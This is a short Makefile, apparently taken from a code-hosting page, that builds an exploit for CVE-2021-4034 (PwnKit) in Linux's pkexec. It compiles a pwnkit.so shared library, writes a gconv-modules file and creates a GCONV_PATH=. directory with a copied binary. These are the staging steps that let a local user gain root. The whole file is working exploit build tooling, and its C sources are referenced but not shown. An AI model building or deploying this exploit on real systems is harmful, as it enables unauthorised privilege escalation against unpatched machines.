20 lines
381 B
Makefile
20 lines
381 B
Makefile
|
CFLAGS=-Wall
|
||
|
|
||
|
.PHONY: all
|
||
|
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
|
||
|
|
||
|
.PHONY: clean
|
||
|
clean:
|
||
|
rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
|
||
|
|
||
|
gconv-modules:
|
||
|
echo "module UTF-8// PWNKIT// pwnkit 1" > $@
|
||
|
|
||
|
.PHONY: gconvpath
|
||
|
gconvpath:
|
||
|
mkdir -p GCONV_PATH=.
|
||
|
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
|
||
|
|
||
|
pwnkit.so: pwnkit.c
|
||
|
$(CC) $(CFLAGS) --shared -fPIC -o $@ $<
|